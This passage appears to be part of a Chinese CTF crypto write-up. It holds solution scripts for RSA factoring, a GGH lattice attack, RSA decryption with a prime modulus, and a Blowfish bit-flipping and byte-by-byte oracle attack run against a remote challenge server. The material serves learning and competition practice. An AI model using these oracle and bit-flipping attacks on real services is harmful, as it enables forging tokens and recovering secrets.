p_nextq = 89615068527538836315602124154008300286636934599617334867509053076622715365809371740037316558871796433906844464070995869293654082577887578197182408045175035339285085728002838220314068474670975228778464240088084331807420720121364486765011169669747553393661650912114228227308579940164269877101973728452252879383
q_nextp = n/p_nextq
print n%p_nextq
diff = p_nextq - q_nextp
#print diff
e = 0x10001
for x in tqdm(range(2,2222,2)):
for y in range(2,2222,2):
b = diff + x*y
a = x
c = -q_nextp*y
delta = b**2 - 4*a*c
if iroot(delta,2)[1]:
try:
#print iroot(delta,2)
q = (-b + iroot(delta,2)[0])/(2*a)
assert n%q==0
print "suceess"
d = inverse(e,q-1)
c=3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129312593361087606243819528298610131797078262351307396831985397555390640151391138633431951746748156610463582479645561779194981806129898009876517899450840875569675976765155608446799203699927448835004756707151281044859676695533373755798273892503194753948997947653100690841880925445059175494314198605475023939567750409907217654291430615102258523998394231436796902635077995829477347316754739938980814293304289318417443493019704073164585505217658570214989150175123757038125380996050761572021986573934155470641091678664451080065719261207
print long_to_bytes(pow(c,d,q))
exit()
except Exception as ee:
print str(ee)
pass
-
easy matrix
GGH,直接套祥哥在xnuca的板子
https://blog.soreatu.com/posts/writeup-for-crypto-problems-in-xnuca2020/
exp:
from sage.modules.free_module_integer import IntegerLattice
import numpy as np
matrix=np.load("matrix.npy")
result=np.load("result.npy")
def BabaisClosestPlaneAlgorithm(L, w):
'''
Yet another method to solve apprCVP, using a given good basis.
INPUT:
* "L" -- a matrix representing the LLL-reduced basis (v1, ..., vn) of a lattice.
* "w" -- a target vector to approach to.
OUTPUT:
* "v" -- a approximate closest vector.
Quoted from "An Introduction to Mathematical Cryptography":
In both theory and practice, Babai's closest plane algorithm
seems to yield better results than Babai's closest vertex algorithm.
'''
G, _ = L.gram_schmidt()
t = w
i = L.nrows() - 1
while i >= 0:
w -= round( (w*G[i]) / G[i].norm()^2 ) * L[i]
i -= 1
return t - w
def fxxk_ggh(module,row,column):
module = 2129
row = 128
column = 42
Lattice = Matrix(ZZ, row + column, row)
for i in range(row):
for j in range(column):
Lattice[row + j, i] = matrix[i][j]
Lattice[i, i] = module
lattice = IntegerLattice(Lattice, lll_reduce=True)
target = vector(ZZ, result[:row])
cvp = BabaisClosestPlaneAlgorithm(lattice.reduced_basis, target)
#R = IntegerModRing(module)
FLAG = Matrix(Zmod(module), matrix[:row])
flag = FLAG \ cvp
print(''.join( chr(i) for i in flag))
fxxk_ggh(2129,128,42)
more_calc
不知道是不是非预期,直接另外的东西不管,把p看成模数,(m < p)
import gmpy2
from Crypto.Util.number import *
flag = b"flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}"
e = 0x10001
p = 27405107041753266489145388621858169511872996622765267064868542117269875531364939896671662734188734825462948115530667205007939029215517180761866791579330410449202307248373229224662232822180397215721163369151115019770596528704719472424551024516928606584975793350814943997731939996459959720826025110179216477709373849945411483731524831284895024319654509286305913312306154387754998813276562173335189450448233216133842189148761197948559529960144453513191372254902031168755165124218783504740834442379363311489108732216051566953498279198537794620521800773917228002402970358087033504897205021881295154046656335865303621793069
c = 350559186837488832821747843236518135605207376031858002274245004287622649330215113818719954185397072838014144973032329600905419861908678328971318153205085007743269253957395282420325663132161022100365481003745940818974280988045034204540385744572806102552420428326265541925346702843693366991753468220300070888651732502520797002707248604275755144713421649971492440442052470723153111156457558558362147002004646136522011344261017461901953583462467622428810167107079281190209731251995976003352201766861887320739990258601550606005388872967825179626176714503475557883810543445555390014562686801894528311600623156984829864743222963877167099892926717479789226681810584894066635076755996423203380493776130488170859798745677727810528672150350333480506424506676127108526488370011099147698875070043925524217837379654168009179798131378352623177947753192948012574831777413729910050668759007704596447625484384743880766558428224371417726480372362810572395522725083798926133468409600491925317437998458582723897120786458219630275616949619564099733542766297770682044561605344090394777570973725211713076201846942438883897078408067779325471589907041186423781580046903588316958615443196819133852367565049467076710376395085898875495653237178198379421129086523
phi = p - 1
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, p)
print(long_to_bytes(m))
blowfish
基本字节翻转再来一个beast,
#coding:utf-8
from base64 import *
from pwn import *
from hashlib import sha384
from string import printable
from tqdm import *
#context.log_level = 'debug'
sh = remote("8.131.69.237","15846")
def _xor(s1,s2):
tmp=""
for i in range(len(s1)):
tmp+=chr(ord(s1[i])^ord(s2[i]))
#print tmp
return tmp
def sha384(content):
return hashlib.sha384(content).hexdigest()
def PoW():
sh.recvuntil("sha384(XXX+")
tail = sh.recvuntil(")")[:-1]
sh.recvuntil(" == ")
tar = sh.recvuntil("\n")[:-1]
for i in tqdm(printable):
for j in printable:
for k in printable:
tmp = i+j+k
#print tmp+tail
#print tar
#print sha384(tmp+tail)
if sha384(tmp+tail) == tar:
sh.sendline(tmp)
return
else:
print "no"
PoW()
sh.recvuntil("\\___/|_| |_|\\__,_|\n")
sh.recvuntil("\n")
msg = sh.recvuntil("\n")[:-1]
#print "msg",msg
#msg='ralI0ycVw0IuDjZ/cPp0m6dxFH1ROdAo'
iv = b64decode(msg)[:8]
cipher = b64decode(msg)[8:]
#print iv,cipher
ticket=b64encode(_xor(_xor(iv,'Blowfish'),'get_flag')+cipher)
#print "ticket",ticket
pre="0"*47
flag=""
for block in range(42):
sh.sendline(ticket)
sh.sendline(pre)
target = b64decode(sh.recvuntil("\n")[:-1])[40:48]
for i in printable:
tmp = '0'*(47-block)+flag+i
sh.sendline(ticket)
sh.sendline(tmp)
get = sh.recvuntil("\n")[:-1]
now = b64decode(get)
#print now
if now[40:48] == target:
flag += i
print flag
pre = pre[:-1]
break
else:
print "no"